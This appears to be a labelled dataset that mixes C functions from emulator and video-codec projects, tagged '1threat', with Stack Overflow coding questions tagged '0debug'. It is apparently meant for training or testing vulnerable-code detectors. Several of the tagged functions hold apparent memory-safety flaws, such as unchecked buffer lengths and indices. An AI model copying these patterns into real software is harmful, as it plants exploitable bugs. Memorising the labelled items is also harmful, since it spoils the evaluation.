vreader_xfr_bytes(VReader *reader, unsigned char *send_buf, int send_buf_len, unsigned char *receive_buf, int *receive_buf_len) { VCardAPDU *apdu; VCardResponse *response = NULL; VCardStatus card_status; unsigned short status; VCard *card = vreader_get_card(reader); if (card == NULL) { return VREADER_NO_CARD; } apdu = vcard_apdu_new(send_buf, send_buf_len, &status); if (apdu == NULL) { response = vcard_make_response(status); card_status = VCARD_DONE; } else { g_debug("%s: CLS=0x%x,INS=0x%x,P1=0x%x,P2=0x%x,Lc=%d,Le=%d %s", __func__, apdu->a_cla, apdu->a_ins, apdu->a_p1, apdu->a_p2, apdu->a_Lc, apdu->a_Le, apdu_ins_to_string(apdu->a_ins)); card_status = vcard_process_apdu(card, apdu, &response); if (response) { g_debug("%s: status=%d sw1=0x%x sw2=0x%x len=%d (total=%d)", __func__, response->b_status, response->b_sw1, response->b_sw2, response->b_len, response->b_total_len); } } assert(card_status == VCARD_DONE); if (card_status == VCARD_DONE) { int size = MIN(*receive_buf_len, response->b_total_len); memcpy(receive_buf, response->b_data, size); *receive_buf_len = size; } vcard_response_delete(response); vcard_apdu_delete(apdu); vcard_free(card); return VREADER_OK; }
1threat
static int vdi_check(BlockDriverState *bs, BdrvCheckResult *res, BdrvCheckMode fix) { BDRVVdiState *s = (BDRVVdiState *)bs->opaque; uint32_t blocks_allocated = 0; uint32_t block; uint32_t *bmap; logout("\n"); if (fix) { return -ENOTSUP; } bmap = g_try_malloc(s->header.blocks_in_image * sizeof(uint32_t)); if (s->header.blocks_in_image && bmap == NULL) { res->check_errors++; return -ENOMEM; } memset(bmap, 0xff, s->header.blocks_in_image * sizeof(uint32_t)); for (block = 0; block < s->header.blocks_in_image; block++) { uint32_t bmap_entry = le32_to_cpu(s->bmap[block]); if (VDI_IS_ALLOCATED(bmap_entry)) { if (bmap_entry < s->header.blocks_in_image) { blocks_allocated++; if (!VDI_IS_ALLOCATED(bmap[bmap_entry])) { bmap[bmap_entry] = bmap_entry; } else { fprintf(stderr, "ERROR: block index %" PRIu32 " also used by %" PRIu32 "\n", bmap[bmap_entry], bmap_entry); res->corruptions++; } } else { fprintf(stderr, "ERROR: block index %" PRIu32 " too large, is %" PRIu32 "\n", block, bmap_entry); res->corruptions++; } } } if (blocks_allocated != s->header.blocks_allocated) { fprintf(stderr, "ERROR: allocated blocks mismatch, is %" PRIu32 ", should be %" PRIu32 "\n", blocks_allocated, s->header.blocks_allocated); res->corruptions++; } g_free(bmap); return 0; }
1threat
SQL convert values to TRUE/FALSE : I have a SQL field that has values >=0. I would like to create a Field (or display this field) as True (if value >0) and False (if value = 0).
0debug
How to split this regexp line into several? : <p>Used search but really didn't get it how to split this long regexp on several shorter:</p> <pre><code>var isMobile = /Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(navigator.userAgent); </code></pre>
0debug
static int read_header(FFV1Context *f) { uint8_t state[CONTEXT_SIZE]; int i, j, context_count = -1; RangeCoder *const c = &f->slice_context[0]->c; memset(state, 128, sizeof(state)); if (f->version < 2) { int chroma_planes, chroma_h_shift, chroma_v_shift, transparency, colorspace, bits_per_raw_sample; unsigned v= get_symbol(c, state, 0); if (v >= 2) { av_log(f->avctx, AV_LOG_ERROR, "invalid version %d in ver01 header\n", v); return AVERROR_INVALIDDATA; } f->version = v; f->ac = f->avctx->coder_type = get_symbol(c, state, 0); if (f->ac > 1) { for (i = 1; i < 256; i++) f->state_transition[i] = get_symbol(c, state, 1) + c->one_state[i]; } colorspace = get_symbol(c, state, 0); bits_per_raw_sample = f->version > 0 ? get_symbol(c, state, 0) : f->avctx->bits_per_raw_sample; chroma_planes = get_rac(c, state); chroma_h_shift = get_symbol(c, state, 0); chroma_v_shift = get_symbol(c, state, 0); transparency = get_rac(c, state); if (f->plane_count) { if ( colorspace != f->colorspace || bits_per_raw_sample != f->avctx->bits_per_raw_sample || chroma_planes != f->chroma_planes || chroma_h_shift!= f->chroma_h_shift || chroma_v_shift!= f->chroma_v_shift || transparency != f->transparency) { av_log(f->avctx, AV_LOG_ERROR, "Invalid change of global parameters\n"); return AVERROR_INVALIDDATA; } } f->colorspace = colorspace; f->avctx->bits_per_raw_sample = bits_per_raw_sample; f->chroma_planes = chroma_planes; f->chroma_h_shift = chroma_h_shift; f->chroma_v_shift = chroma_v_shift; f->transparency = transparency; f->plane_count = 2 + f->transparency; } if (f->colorspace == 0) { if (!f->transparency && !f->chroma_planes) { if (f->avctx->bits_per_raw_sample <= 8) f->avctx->pix_fmt = AV_PIX_FMT_GRAY8; else f->avctx->pix_fmt = AV_PIX_FMT_GRAY16; } else if (f->avctx->bits_per_raw_sample<=8 && !f->transparency) { switch(16 * f->chroma_h_shift + f->chroma_v_shift) { case 0x00: f->avctx->pix_fmt = AV_PIX_FMT_YUV444P; break; case 0x01: f->avctx->pix_fmt = AV_PIX_FMT_YUV440P; break; case 0x10: f->avctx->pix_fmt = AV_PIX_FMT_YUV422P; break; case 0x11: f->avctx->pix_fmt = AV_PIX_FMT_YUV420P; break; case 0x20: f->avctx->pix_fmt = AV_PIX_FMT_YUV411P; break; case 0x22: f->avctx->pix_fmt = AV_PIX_FMT_YUV410P; break; default: av_log(f->avctx, AV_LOG_ERROR, "format not supported\n"); return AVERROR(ENOSYS); } } else if (f->avctx->bits_per_raw_sample <= 8 && f->transparency) { switch(16*f->chroma_h_shift + f->chroma_v_shift) { case 0x00: f->avctx->pix_fmt = AV_PIX_FMT_YUVA444P; break; case 0x10: f->avctx->pix_fmt = AV_PIX_FMT_YUVA422P; break; case 0x11: f->avctx->pix_fmt = AV_PIX_FMT_YUVA420P; break; default: av_log(f->avctx, AV_LOG_ERROR, "format not supported\n"); return AVERROR(ENOSYS); } } else if (f->avctx->bits_per_raw_sample == 9) { f->packed_at_lsb = 1; switch(16 * f->chroma_h_shift + f->chroma_v_shift) { case 0x00: f->avctx->pix_fmt = AV_PIX_FMT_YUV444P9; break; case 0x10: f->avctx->pix_fmt = AV_PIX_FMT_YUV422P9; break; case 0x11: f->avctx->pix_fmt = AV_PIX_FMT_YUV420P9; break; default: av_log(f->avctx, AV_LOG_ERROR, "format not supported\n"); return AVERROR(ENOSYS); } } else if (f->avctx->bits_per_raw_sample == 10) { f->packed_at_lsb = 1; switch(16 * f->chroma_h_shift + f->chroma_v_shift) { case 0x00: f->avctx->pix_fmt = AV_PIX_FMT_YUV444P10; break; case 0x10: f->avctx->pix_fmt = AV_PIX_FMT_YUV422P10; break; case 0x11: f->avctx->pix_fmt = AV_PIX_FMT_YUV420P10; break; default: av_log(f->avctx, AV_LOG_ERROR, "format not supported\n"); return AVERROR(ENOSYS); } } else { switch(16 * f->chroma_h_shift + f->chroma_v_shift) { case 0x00: f->avctx->pix_fmt = AV_PIX_FMT_YUV444P16; break; case 0x10: f->avctx->pix_fmt = AV_PIX_FMT_YUV422P16; break; case 0x11: f->avctx->pix_fmt = AV_PIX_FMT_YUV420P16; break; default: av_log(f->avctx, AV_LOG_ERROR, "format not supported\n"); return AVERROR(ENOSYS); } } } else if (f->colorspace == 1) { if (f->chroma_h_shift || f->chroma_v_shift) { av_log(f->avctx, AV_LOG_ERROR, "chroma subsampling not supported in this colorspace\n"); return AVERROR(ENOSYS); } if ( f->avctx->bits_per_raw_sample == 9) f->avctx->pix_fmt = AV_PIX_FMT_GBRP9; else if (f->avctx->bits_per_raw_sample == 10) f->avctx->pix_fmt = AV_PIX_FMT_GBRP10; else if (f->avctx->bits_per_raw_sample == 12) f->avctx->pix_fmt = AV_PIX_FMT_GBRP12; else if (f->avctx->bits_per_raw_sample == 14) f->avctx->pix_fmt = AV_PIX_FMT_GBRP14; else if (f->transparency) f->avctx->pix_fmt = AV_PIX_FMT_RGB32; else f->avctx->pix_fmt = AV_PIX_FMT_0RGB32; } else { av_log(f->avctx, AV_LOG_ERROR, "colorspace not supported\n"); return AVERROR(ENOSYS); } av_dlog(f->avctx, "%d %d %d\n", f->chroma_h_shift, f->chroma_v_shift, f->avctx->pix_fmt); if (f->version < 2) { context_count = read_quant_tables(c, f->quant_table); if (context_count < 0) { av_log(f->avctx, AV_LOG_ERROR, "read_quant_table error\n"); return AVERROR_INVALIDDATA; } } else if (f->version < 3) { f->slice_count = get_symbol(c, state, 0); } else { const uint8_t *p = c->bytestream_end; for (f->slice_count = 0; f->slice_count < MAX_SLICES && 3 < p - c->bytestream_start; f->slice_count++) { int trailer = 3 + 5*!!f->ec; int size = AV_RB24(p-trailer); if (size + trailer > p - c->bytestream_start) break; p -= size + trailer; } } if (f->slice_count > (unsigned)MAX_SLICES || f->slice_count <= 0) { av_log(f->avctx, AV_LOG_ERROR, "slice count %d is invalid\n", f->slice_count); return AVERROR_INVALIDDATA; } for (j = 0; j < f->slice_count; j++) { FFV1Context *fs = f->slice_context[j]; fs->ac = f->ac; fs->packed_at_lsb = f->packed_at_lsb; fs->slice_damaged = 0; if (f->version == 2) { fs->slice_x = get_symbol(c, state, 0) * f->width ; fs->slice_y = get_symbol(c, state, 0) * f->height; fs->slice_width = (get_symbol(c, state, 0) + 1) * f->width + fs->slice_x; fs->slice_height = (get_symbol(c, state, 0) + 1) * f->height + fs->slice_y; fs->slice_x /= f->num_h_slices; fs->slice_y /= f->num_v_slices; fs->slice_width = fs->slice_width / f->num_h_slices - fs->slice_x; fs->slice_height = fs->slice_height / f->num_v_slices - fs->slice_y; if ((unsigned)fs->slice_width > f->width || (unsigned)fs->slice_height > f->height) return AVERROR_INVALIDDATA; if ( (unsigned)fs->slice_x + (uint64_t)fs->slice_width > f->width || (unsigned)fs->slice_y + (uint64_t)fs->slice_height > f->height) return AVERROR_INVALIDDATA; } for (i = 0; i < f->plane_count; i++) { PlaneContext *const p = &fs->plane[i]; if (f->version == 2) { int idx = get_symbol(c, state, 0); if (idx > (unsigned)f->quant_table_count) { av_log(f->avctx, AV_LOG_ERROR, "quant_table_index out of range\n"); return AVERROR_INVALIDDATA; } p->quant_table_index = idx; memcpy(p->quant_table, f->quant_tables[idx], sizeof(p->quant_table)); context_count = f->context_count[idx]; } else { memcpy(p->quant_table, f->quant_table, sizeof(p->quant_table)); } if (f->version <= 2) { av_assert0(context_count >= 0); if (p->context_count < context_count) { av_freep(&p->state); av_freep(&p->vlc_state); } p->context_count = context_count; } } } return 0; }
1threat
XCode - Thread 1: EXC_BAD_ACCESS After OS Upgrade : <p>Before I upgraded my Macbook to Sierra 10.12.2, my application was running perfectly on Xcode, however, now I am getting some weird errors. How can I overcome this issue? </p> <p><a href="https://i.stack.imgur.com/bnqap.jpg" rel="nofollow noreferrer">main file</a></p> <p><a href="https://i.stack.imgur.com/z3LRu.jpg" rel="nofollow noreferrer">UIApplicationMain file</a></p>
0debug
jQueruy execution is not complete : i have a jquery code which replace some html attributes value for (i = 0; i < 3; i++) { $("."+i+"-div").attr('data-thumb', image_array[i]); $("."+i+"-a").attr('href', image_array[i]); $("."+i+"-img").attr('src', image_array[i]); } Actually this code is working but it is slow . for example if iake the page then most of the time data-thumb & href are replaced correctly but still the image src is not changed . But when i refresh the page then img src also changing . How to solve this ?
0debug
static void set_sensor_evt_enable(IPMIBmcSim *ibs, uint8_t *cmd, unsigned int cmd_len, uint8_t *rsp, unsigned int *rsp_len, unsigned int max_rsp_len) { IPMISensor *sens; IPMI_CHECK_CMD_LEN(4); if ((cmd[2] > MAX_SENSORS) || !IPMI_SENSOR_GET_PRESENT(ibs->sensors + cmd[2])) { rsp[2] = IPMI_CC_REQ_ENTRY_NOT_PRESENT; return; } sens = ibs->sensors + cmd[2]; switch ((cmd[3] >> 4) & 0x3) { case 0: break; case 1: if (cmd_len > 4) { sens->assert_enable |= cmd[4]; } if (cmd_len > 5) { sens->assert_enable |= cmd[5] << 8; } if (cmd_len > 6) { sens->deassert_enable |= cmd[6]; } if (cmd_len > 7) { sens->deassert_enable |= cmd[7] << 8; } break; case 2: if (cmd_len > 4) { sens->assert_enable &= ~cmd[4]; } if (cmd_len > 5) { sens->assert_enable &= ~(cmd[5] << 8); } if (cmd_len > 6) { sens->deassert_enable &= ~cmd[6]; } if (cmd_len > 7) { sens->deassert_enable &= ~(cmd[7] << 8); } break; case 3: rsp[2] = IPMI_CC_INVALID_DATA_FIELD; return; } IPMI_SENSOR_SET_RET_STATUS(sens, cmd[3]); }
1threat
sum up an array of integers in C# : <p>I want the sum of the numbers in the array and does not exceed 1002 how can I fix it? it is not needful to sum all numbers, but only those who qualify</p> <p>I do it that way but I think it's not the right way</p> <pre><code> List&lt;int&gt; list = new List&lt;int&gt; { 4, 900, 500, 498, 4 }; int sum = list.Skip(2).Take(3).Sum(); Console.WriteLine(sum); Console.ReadLine(); </code></pre>
0debug
static inline void mix_stereo_to_mono(AC3DecodeContext *ctx) { int i; float (*output)[256] = ctx->audio_block.block_output; for (i = 0; i < 256; i++) output[1][i] += output[2][i]; memset(output[2], 0, sizeof(output[2])); }
1threat
static void check_update_timer(RTCState *s) { uint64_t next_update_time; uint64_t guest_nsec; int next_alarm_sec; if ((s->cmos_data[RTC_REG_A] & 0x60) == 0x60) { timer_del(s->update_timer); return; } if ((s->cmos_data[RTC_REG_C] & REG_C_UF) && (s->cmos_data[RTC_REG_B] & REG_B_SET)) { timer_del(s->update_timer); return; } if ((s->cmos_data[RTC_REG_C] & REG_C_UF) && (s->cmos_data[RTC_REG_C] & REG_C_AF)) { timer_del(s->update_timer); return; } guest_nsec = get_guest_rtc_ns(s) % NANOSECONDS_PER_SECOND; next_update_time = qemu_clock_get_ns(rtc_clock) + NANOSECONDS_PER_SECOND - guest_nsec; next_alarm_sec = get_next_alarm(s); s->next_alarm_time = next_update_time + (next_alarm_sec - 1) * NANOSECONDS_PER_SECOND; if (s->cmos_data[RTC_REG_C] & REG_C_UF) { next_update_time = s->next_alarm_time; } if (next_update_time != timer_expire_time_ns(s->update_timer)) { timer_mod(s->update_timer, next_update_time); } }
1threat
Why do I get zero length for a string filled element by element? : <p>this is my issue. I am compiling with g++ (Ubuntu 7.3.0-27ubuntu1~18.04) 7.3.0</p> <p>I would like to check every element of the string, and copy it only if it is a consonant.</p> <p>This is how I try to do that: This is just a function to select vowels:</p> <pre><code>bool _is_vowel(char a){ if (a=='a' || a=='A' || a=='e' || a=='E' ||a=='i' || a=='I' || a=='o' || a=='O' || a=='u' || a=='U' || a=='y' || a=='Y') return true; else return false; } </code></pre> <p>This is the bit of code that does not work. Specifically, inside the <code>ss.length()</code> appears to be 0, and the string ss contains no character, but they are correctly printed inside the while loop.</p> <pre><code> main(){ int i=0, c=0; string ss, name; cout &lt;&lt; "insert name\n"; getline(cin, name); while (i&lt;int(name.length())){ if (!_is_vowel(name[i])){ cout &lt;&lt; name[i]&lt;&lt; "\t"; ss[c]=name[i]; cout &lt;&lt; ss[c]&lt;&lt; "\n"; c++; } i++; } cout &lt;&lt; int(ss.length())&lt;&lt;endl; cout &lt;&lt; ss; } </code></pre> <p>Could anyone explain to me where I am wrong or give me some reference? Thank you in advance</p>
0debug
void kvm_arch_init_irq_routing(KVMState *s) { if (!kvm_check_extension(s, KVM_CAP_IRQ_ROUTING)) { no_hpet = 1; } kvm_irqfds_allowed = true; kvm_msi_via_irqfd_allowed = true; kvm_gsi_routing_allowed = true; }
1threat
static int megasas_build_sense(MegasasCmd *cmd, uint8_t *sense_ptr, uint8_t sense_len) { uint32_t pa_hi = 0, pa_lo; target_phys_addr_t pa; if (sense_len > cmd->frame->header.sense_len) { sense_len = cmd->frame->header.sense_len; } if (sense_len) { pa_lo = le32_to_cpu(cmd->frame->pass.sense_addr_lo); if (megasas_frame_is_sense64(cmd)) { pa_hi = le32_to_cpu(cmd->frame->pass.sense_addr_hi); } pa = ((uint64_t) pa_hi << 32) | pa_lo; cpu_physical_memory_write(pa, sense_ptr, sense_len); cmd->frame->header.sense_len = sense_len; } return sense_len; }
1threat
My code is not working correctly : <p>I am having a problem with this code, I am not sure what is wrong. Essentially it is supposed to take input from user, set it to a variable, then write a string. It is not writing anything out after I try typing in a name.</p> <p><br> <p>Hello, the purpose of this site is for process enhancement for searching for POU Kit Parts:</p></p> <pre><code> &lt;form id="form1"&gt; &lt;p&gt;enter name: &lt;input name="name" type="text" size="20"&gt;&lt;/p&gt;&lt;/form&gt; &lt;p&gt;&lt;button onclick="outputname()"&gt; Submit&lt;/button&gt;&lt;/p&gt; &lt;script&gt; function outputname(){ var x,name,a,b,answer,y; x=document.getElementById("form1"); y=x.elements["name"].value; document.write("hello" +y+ ); } &lt;/script&gt; </code></pre>
0debug
What can be the difference of using a fragment and frameLayout in android? Can both be used interchangeably? : <p>I have seen an approach where frameLayout is used in case of fragments. The ultimate goal was to have multiple fragments.</p>
0debug
How to merge two lists into a dictionarry : I have two lists, list1 and list2. I want to create a dict in which list1 is the keys and list2 is divided equally between them. for example: list1 = ['a','b','c'] list2 = [1,2,3,4,5,6,7,8] result = {'a':[1,2,3], 'b':[4,5,6], 'c':[7,8]} I thought about doing the following list comprehension: num_list2_per_list1 = len(list2)//len(list1) result_dict = { list1_member : list2[idx*num_list2_per_list1(1+idx)*num_list2_per_list1] for idx, list1_member in enumerate(list1) } But this will not work if len(list2) < len(list1). Is there a way to fix this or do I have to make an if statement and split the code?
0debug
How to use AWK regexp to print multiple substring pattern in a excel format in different column : I have a log file which contains millions line like this :: 10.0.7.92 - - [05/Jun/2017:03:50:06 +0000] "GET /adserver/html5/***inwapads***/?category=[IAB]&size=***320x280***&ak=***AY1234***&output=vast&version=1.1&sleepAfter=&requester=***John***&adFormat=preappvideo HTTP/1.1" 200 131 "-" "Mozilla/5.0 (Linux; Android 6.0.1; SM-S120VL Build/MMB29M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/58.0.3029.83 Mobile Safari/537.36" 0.000 1029 520 127.0.0.1 I want print output of every line like this in excel with different columns :: inwapads AY1234 john 320x280 How top do that useing awk. or do i need to use any other method. let me know
0debug
int acpi_table_add(const QemuOpts *opts) { AcpiTableOptions *hdrs = NULL; Error *err = NULL; char **pathnames = NULL; char **cur; size_t len, start, allen; bool has_header; int changed; int r; struct acpi_table_header hdr; char unsigned *table_start; { OptsVisitor *ov; ov = opts_visitor_new(opts); visit_type_AcpiTableOptions(opts_get_visitor(ov), &hdrs, NULL, &err); opts_visitor_cleanup(ov); } if (err) { goto out; } if (hdrs->has_file == hdrs->has_data) { error_setg(&err, "'-acpitable' requires one of 'data' or 'file'"); goto out; } has_header = hdrs->has_file; pathnames = g_strsplit(hdrs->has_file ? hdrs->file : hdrs->data, ":", 0); if (pathnames == NULL || pathnames[0] == NULL) { error_setg(&err, "'-acpitable' requires at least one pathname"); goto out; } if (!acpi_tables) { allen = sizeof(uint16_t); acpi_tables = g_malloc0(allen); } else { allen = acpi_tables_len; } start = allen; acpi_tables = g_realloc(acpi_tables, start + ACPI_TABLE_HDR_SIZE); allen += has_header ? ACPI_TABLE_PFX_SIZE : ACPI_TABLE_HDR_SIZE; for (cur = pathnames; *cur; ++cur) { int fd = open(*cur, O_RDONLY | O_BINARY); if (fd < 0) { error_setg(&err, "can't open file %s: %s", *cur, strerror(errno)); goto out; } for (;;) { char unsigned data[8192]; r = read(fd, data, sizeof(data)); if (r == 0) { break; } else if (r > 0) { acpi_tables = g_realloc(acpi_tables, allen + r); memcpy(acpi_tables + allen, data, r); allen += r; } else if (errno != EINTR) { error_setg(&err, "can't read file %s: %s", *cur, strerror(errno)); close(fd); goto out; } } close(fd); } table_start = acpi_tables + start; changed = 0; memcpy(&hdr, has_header ? table_start : dfl_hdr, ACPI_TABLE_HDR_SIZE); len = allen - start - ACPI_TABLE_PFX_SIZE; hdr._length = cpu_to_le16(len); if (hdrs->has_sig) { strncpy(hdr.sig, hdrs->sig, sizeof(hdr.sig)); ++changed; } if (has_header) { unsigned long val; val = le32_to_cpu(hdr.length); if (val != len) { fprintf(stderr, "warning: acpitable has wrong length," " header says %lu, actual size %zu bytes\n", val, len); ++changed; } } hdr.length = cpu_to_le32(len); if (hdrs->has_rev) { hdr.revision = hdrs->rev; ++changed; } if (hdrs->has_oem_id) { strncpy(hdr.oem_id, hdrs->oem_id, sizeof(hdr.oem_id)); ++changed; } if (hdrs->has_oem_table_id) { strncpy(hdr.oem_table_id, hdrs->oem_table_id, sizeof(hdr.oem_table_id)); ++changed; } if (hdrs->has_oem_rev) { hdr.oem_revision = cpu_to_le32(hdrs->oem_rev); ++changed; } if (hdrs->has_asl_compiler_id) { strncpy(hdr.asl_compiler_id, hdrs->asl_compiler_id, sizeof(hdr.asl_compiler_id)); ++changed; } if (hdrs->has_asl_compiler_rev) { hdr.asl_compiler_revision = cpu_to_le32(hdrs->asl_compiler_rev); ++changed; } if (!has_header && !changed) { fprintf(stderr, "warning: acpitable: no table headers are specified\n"); } hdr.checksum = 0; memcpy(table_start, &hdr, sizeof(hdr)); if (changed || !has_header || 1) { ((struct acpi_table_header *)table_start)->checksum = acpi_checksum((uint8_t *)table_start + ACPI_TABLE_PFX_SIZE, len); } (*(uint16_t *)acpi_tables) = cpu_to_le32(le32_to_cpu(*(uint16_t *)acpi_tables) + 1); acpi_tables_len = allen; out: g_strfreev(pathnames); if (hdrs != NULL) { QapiDeallocVisitor *dv; dv = qapi_dealloc_visitor_new(); visit_type_AcpiTableOptions(qapi_dealloc_get_visitor(dv), &hdrs, NULL, NULL); qapi_dealloc_visitor_cleanup(dv); } if (err) { fprintf(stderr, "%s\n", error_get_pretty(err)); error_free(err); return -1; } return 0; }
1threat
Convert Set<> to List<String> : Need help in Converting Set<> to List<String> in Flutter Set<_Filter> _selectedFilters = Set<_Filter>(); final List<_Filter> _filters = [ _Filter('Bee Cattle'), _Filter('Crops'), _Filter('Machinery'), _Filter('Fish'), _Filter('Sheep'), _Filter('Cattle Breeds'), _Filter('Wells'), _Filter('Farm'), ]; I need to convert this Set to list<string> hence i can get a String List
0debug
How to set ADC for MC9S08QG8 micro controller in C language : <p>Im new to coding in C language and I don't know how to activate the Analogue to Digital converter on the QG8 micro controller. Its quite outdated tech as far as I'm aware as I'm struggling to find any code for it. The overall project is to create a Voltmeter using a potential divider, so I'm having a voltage going from the potential divider into the ADC then the output is displayed on a LCD. Looking to find some C language code that will do it.</p> <p>Any help will be appreciated, Thanks all</p>
0debug
static ssize_t unix_writev_buffer(void *opaque, struct iovec *iov, int iovcnt, int64_t pos) { QEMUFileSocket *s = opaque; ssize_t len, offset; ssize_t size = iov_size(iov, iovcnt); ssize_t total = 0; assert(iovcnt > 0); offset = 0; while (size > 0) { while (offset >= iov[0].iov_len) { offset -= iov[0].iov_len; iov++, iovcnt--; } assert(iovcnt > 0); iov[0].iov_base += offset; iov[0].iov_len -= offset; do { len = writev(s->fd, iov, iovcnt); } while (len == -1 && errno == EINTR); if (len == -1) { return -errno; } iov[0].iov_base -= offset; iov[0].iov_len += offset; offset += len; total += len; size -= len; } return total; }
1threat
VSTS - Deployment Group release not working: Unable to deploy to the target as the target is offline : <p>I am using Deployment Groups in VSTS to deploy my application to an on premise test web server. It has been working fine for a long time, but after having not used it for about 6 weeks I am now getting this error which I would like to fix; <a href="https://i.stack.imgur.com/gL7gM.png" rel="noreferrer"><img src="https://i.stack.imgur.com/gL7gM.png" alt="enter image description here"></a></p>
0debug
static void qemu_chr_parse_ringbuf(QemuOpts *opts, ChardevBackend *backend, Error **errp) { int val; ChardevRingbuf *ringbuf; ringbuf = backend->u.ringbuf = g_new0(ChardevRingbuf, 1); qemu_chr_parse_common(opts, qapi_ChardevRingbuf_base(ringbuf)); val = qemu_opt_get_size(opts, "size", 0); if (val != 0) { ringbuf->has_size = true; ringbuf->size = val; } }
1threat
static void fw_cfg_io_class_init(ObjectClass *klass, void *data) { DeviceClass *dc = DEVICE_CLASS(klass); dc->realize = fw_cfg_io_realize; dc->props = fw_cfg_io_properties; }
1threat
GuestFileWrite *qmp_guest_file_write(int64_t handle, const char *buf_b64, bool has_count, int64_t count, Error **errp) { GuestFileWrite *write_data = NULL; guchar *buf; gsize buf_len; int write_count; GuestFileHandle *gfh = guest_file_handle_find(handle, errp); FILE *fh; if (!gfh) { fh = gfh->fh; buf = g_base64_decode(buf_b64, &buf_len); if (!has_count) { count = buf_len; } else if (count < 0 || count > buf_len) { error_setg(errp, "value '%" PRId64 "' is invalid for argument count", count); g_free(buf); write_count = fwrite(buf, 1, count, fh); if (ferror(fh)) { error_setg_errno(errp, errno, "failed to write to file"); slog("guest-file-write failed, handle: %" PRId64, handle); } else { write_data = g_new0(GuestFileWrite, 1); write_data->count = write_count; write_data->eof = feof(fh); gfh->state = RW_STATE_WRITING; g_free(buf); clearerr(fh); return write_data;
1threat
Substring of string is not working the way i want : <p>I have this code here: </p> <pre><code>String line1 = "part1, part2, part3, part4"; </code></pre> <p>and i want to extract part 2. so i tried this:</p> <pre><code>String extractedPart = line1.substring(line1.indexOf(","), line1.indexOf(",", line1.indexOf"," +1))); System.out.println(extractedPart); </code></pre> <p>But it's not printing out anything. Can someone help me with that?</p>
0debug
int flv_h263_decode_picture_header(MpegEncContext *s) { int format, width, height; if (get_bits_long(&s->gb, 17) != 1) { av_log(s->avctx, AV_LOG_ERROR, "Bad picture start code\n"); return -1; } format = get_bits(&s->gb, 5); if (format != 0 && format != 1) { av_log(s->avctx, AV_LOG_ERROR, "Bad picture format\n"); return -1; } s->h263_flv = format+1; s->picture_number = get_bits(&s->gb, 8); format = get_bits(&s->gb, 3); switch (format) { case 0: width = get_bits(&s->gb, 8); height = get_bits(&s->gb, 8); break; case 1: width = get_bits(&s->gb, 16); height = get_bits(&s->gb, 16); break; case 2: width = 352; height = 288; break; case 3: width = 176; height = 144; break; case 4: width = 128; height = 96; break; case 5: width = 320; height = 240; break; case 6: width = 160; height = 120; break; default: width = height = 0; break; } if ((width == 0) || (height == 0)) return -1; s->width = width; s->height = height; s->pict_type = I_TYPE + get_bits(&s->gb, 2); if (s->pict_type > P_TYPE) s->pict_type = P_TYPE; skip_bits1(&s->gb); s->qscale = get_bits(&s->gb, 5); s->h263_plus = 0; s->unrestricted_mv = 1; s->h263_long_vectors = 0; while (get_bits1(&s->gb) != 0) { skip_bits(&s->gb, 8); } s->f_code = 1; if(s->avctx->debug & FF_DEBUG_PICT_INFO){ av_log(s->avctx, AV_LOG_DEBUG, "%c esc_type:%d, qp:%d num:%d\n", av_get_pict_type_char(s->pict_type), s->h263_flv-1, s->qscale, s->picture_number); } s->y_dc_scale_table= s->c_dc_scale_table= ff_mpeg1_dc_scale_table; return 0; }
1threat
get contact number from device and display into listview in android : Hey @STACKERS i want to display contact number in listview. And it is working perfect. But i want to put condition when it read contact from device. The Condition are 1) if number digit <10 { --don't add into list-}. 2)else if(number is starting from 0 then repalce with 91){--Add to list}. 3)else if{number is start from + then remove it }{--add to list}. 4)else{other are directly add to list}. public class ReferFriend extends AppCompatActivity { ArrayList<SelectUser> selectUsers; List<SelectUser> temp; ListView listView; Cursor phones, email; ContentResolver resolver; SearchView search; SelectUserAdapter adapter; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.refer_friend); selectUsers = new ArrayList<SelectUser>(); resolver = this.getContentResolver(); listView = (ListView) findViewById(R.id.contacts_list); phones = getContentResolver().query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, null, null, ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME + " ASC"); LoadContact loadContact = new LoadContact(); loadContact.execute(); } // Load data on background class LoadContact extends AsyncTask<Void, Void, Void> { @Override protected void onPreExecute() { super.onPreExecute(); } @Override protected Void doInBackground(Void... voids) { // Get Contact list from Phone if (phones != null) { Log.e("count", "" + phones.getCount()); if (phones.getCount() == 0) { Toast.makeText(ReferFriend.this, "No contacts in your contact list.", Toast.LENGTH_LONG).show(); } while (phones.moveToNext()) { Bitmap bit_thumb = null; String id = phones.getString(phones.getColumnIndex(ContactsContract.CommonDataKinds.Phone.CONTACT_ID)); String name = phones.getString(phones.getColumnIndex(ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME)); String phoneNumber = phones.getString(phones.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER)); String image_thumb = phones.getString(phones.getColumnIndex(ContactsContract.CommonDataKinds.Phone.PHOTO_THUMBNAIL_URI)); try { if (image_thumb != null) { bit_thumb = MediaStore.Images.Media.getBitmap(resolver, Uri.parse(image_thumb)); } else { Log.e("No Image Thumb", "--------------"); } } catch (IOException e) { e.printStackTrace(); } SelectUser selectUser = new SelectUser(); selectUser.setThumb(bit_thumb); selectUser.setContactName(name); selectUser.setPhone(phoneNumber); selectUser.setContactEmail(id); selectUser.setCheckedBox(false); selectUsers.add(selectUser); } } else { Log.e("Cursor close 1", "----------------"); } //phones.close(); return null; } @Override protected void onPostExecute(Void aVoid) { super.onPostExecute(aVoid); adapter = new SelectUserAdapter(selectUsers, ReferFriend.this); listView.setAdapter(adapter); // Select item on listclick listView.setOnItemClickListener(new AdapterView.OnItemClickListener() { @Override public void onItemClick(AdapterView<?> adapterView, View view, int i, long l) { Log.e("search", "here---------------- listener"); SelectUser data = selectUsers.get(i); } }); listView.setFastScrollEnabled(true); } } @Override protected void onStop() { super.onStop(); phones.close(); } public class SelectUserAdapter extends BaseAdapter { public List<SelectUser> _data; private ArrayList<SelectUser> arraylist; Context _c; ViewHolder v; RoundImage roundedImage; public SelectUserAdapter(List<SelectUser> selectUsers, Context context) { _data = selectUsers; _c = context; this.arraylist = new ArrayList<SelectUser>(); this.arraylist.addAll(_data); } @Override public int getCount() { return _data.size(); } @Override public Object getItem(int i) { return _data.get(i); } @Override public long getItemId(int i) { return i; } @TargetApi(Build.VERSION_CODES.LOLLIPOP) @Override public View getView(int i, View convertView, ViewGroup viewGroup) { View view = convertView; if (view == null) { LayoutInflater li 